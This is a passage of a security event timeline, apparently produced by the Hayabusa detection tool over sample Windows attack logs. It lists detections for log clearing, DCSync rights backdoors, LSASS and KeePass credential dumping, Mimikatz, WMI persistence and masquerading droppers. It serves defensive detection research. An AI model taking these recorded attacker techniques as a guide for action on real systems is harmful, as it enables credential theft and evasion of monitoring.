AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:56.626 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:57.237 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\UI0Detect.exe : Path: C:\Windows\System32\UI0Detect.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:57.627 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.278 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key"" : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.288 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\PSEXESVC.exe"" : Path: C:\Windows\PSEXESVC.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.489 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: msg * ""hello from run key"" : Path: C:\Windows\System32\msg.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:18:58.989 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:19:04.187 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe SYSTEM : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:19:10.796 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.155 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.205 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:20:19.295 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""c:\osk.exe"" : Path: C:\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:21:01.325 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows Media Player\wmpnetwk.exe"" : Path: C:\Program Files\Windows Media Player\wmpnetwk.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:21:48.323 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:23:41.105 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 08:34:25.894 +09:00,PC01.example.corp,104,high,System log file was cleared,User: user01,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_104_system_log_cleared.evtx +2019-03-20 08:35:07.524 +09:00,PC01.example.corp,1102,high,Security log was cleared,User: user01,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_1102_security_log_cleared.evtx +2019-03-25 18:09:14.916 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ACL_ForcePwd_SPNAdd_User_Computer_Accounts.evtx +2019-03-26 06:28:11.073 +09:00,DC1.insecurebank.local,1102,high,Security log was cleared,User: bob,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.022 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.022 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.023 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.024 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.025 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-03-26 06:28:45.026 +09:00,DC1.insecurebank.local,5136,critical,Powerview Add-DomainObjectAcl DCSync AD Extend Right,,rules/sigma/builtin/security/win_account_backdoor_dcsync_rights.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/DACL_DCSync_Right_Powerview_ Add-DomainObjectAcl.evtx +2019-04-04 03:11:54.098 +09:00,PC04.example.corp,1,informational,Process Creation,"Command: ""C:\Users\user01\Desktop\WMIGhost.exe"" : Path: C:\Users\user01\Desktop\WMIGhost.exe : User: PC04\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:11:54.178 +09:00,PC04.example.corp,20,high,Suspicious Scripting in a WMI Consumer,,rules/sigma/wmi_event/sysmon_wmi_susp_scripting.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:12:00.016 +09:00,PC04.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\scrcons.exe -Embedding : Path: C:\Windows\System32\wbem\scrcons.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-04 03:12:00.016 +09:00,PC04.example.corp,1,high,WMI Persistence - Script Event Consumer,,rules/sigma/process_creation/win_wmi_persistence_script_event_consumer.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/wmighost_sysmon_20_21_1.evtx +2019-04-19 01:55:37.125 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\Sysmon.exe : Path: C:\Windows\Sysmon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:55:37.125 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:55:44.045 +09:00,IEWIN7,1,informational,Process Creation,"Command: sysmon -c sysmonconfig-18-apr-2019.xml : Path: C:\Users\IEUser\Desktop\Sysmon.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:08.370 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: Powershell : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""cmd.exe"" /s /k pushd ""C:\Users\IEUser\Desktop""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:08.370 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: Powershell",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:56:24.893 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:57:04.681 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1088,technique_name=Bypass User Account Control : Command: ""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" : Path: C:\Windows\System32\mmc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\eventvwr.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:58:14.811 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 01:58:14.811 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: ""C:\Windows\system32\whoami.exe"" /user : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: Powershell",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:00:09.977 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:01:35.720 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-19 02:01:35.720 +09:00,IEWIN7,10,high,Accessing WinAPI in PowerShell for Credentials Dumping,,rules/sigma/sysmon/sysmon_accessing_winapi_in_powershell_credentials_dumping.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/babyshark_mimikatz_powershell.evtx +2019-04-28 00:57:53.368 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" : Path: C:\Users\IEUser\Downloads\Flash_update.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.368 +09:00,IEWIN7,1,medium,Suspicious File Characteristics Due to Missing Fields,,rules/sigma/process_creation/win_susp_file_characteristics.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.837 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: ""C:\Users\IEUser\AppData\Roaming\NvSmart.exe"" : Path: C:\Users\IEUser\AppData\Roaming\NvSmart.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.884 +09:00,IEWIN7,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.931 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: cmd.exe /A : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\AppData\Roaming\NvSmart.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:53.931 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 00:57:54.134 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: ""C:\Windows\System32\cmd.exe"" /c del /q ""C:\Users\IEUser\Downloads\Flash_update.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Users\IEUser\Downloads\Flash_update.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/Malware/DE_timestomp_and_dll_sideloading_and_RunPersist.evtx +2019-04-28 03:47:00.046 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1036,technique_name=Masquerading : Command: KeeFarce.exe : Path: C:\Users\Public\KeeFarce.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keefarce_keepass_credump.evtx +2019-04-28 03:47:00.046 +09:00,IEWIN7,1,high,Execution from Suspicious Folder,,rules/sigma/process_creation/win_susp_execution_path.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keefarce_keepass_credump.evtx +2019-04-28 03:55:04.710 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.710 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.980 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 03:55:04.980 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_keepass_KeeThief_Get-KeePassDatabaseKey.evtx +2019-04-28 04:27:55.274 +09:00,IEWIN7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/CA_chrome_firefox_opera_4663.evtx +2019-04-28 06:04:25.733 +09:00,DESKTOP-JR78RLP,104,high,System log file was cleared,User: jwrig,rules/hayabusa/default/alerts/System/104_IndicatorRemovalOnHost-ClearWindowsEventLogs_SystemLogCleared.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-28 06:06:49.341 +09:00,DESKTOP-JR78RLP,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-28 06:06:49.341 +09:00,DESKTOP-JR78RLP,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/disablestop-eventlog.evtx +2019-04-29 01:29:42.988 +09:00,IEWIN7,10,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/process_suspend_sysmon_10_ga_800.evtx +2019-04-29 01:29:42.988 +09:00,IEWIN7,10,high,Relevant Anti-Virus Event,,rules/sigma/builtin/application/win_av_relevant_match.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/process_suspend_sysmon_10_ga_800.evtx +2019-04-30 05:59:14.447 +09:00,IEWIN7,18,critical,Malicious Named Pipe,,rules/sigma/pipe_created/sysmon_mal_namedpipes.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -s -NoLogo -NoProfile : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 05:59:21.539 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/lm_sysmon_18_remshell_over_namedpipe.evtx +2019-04-30 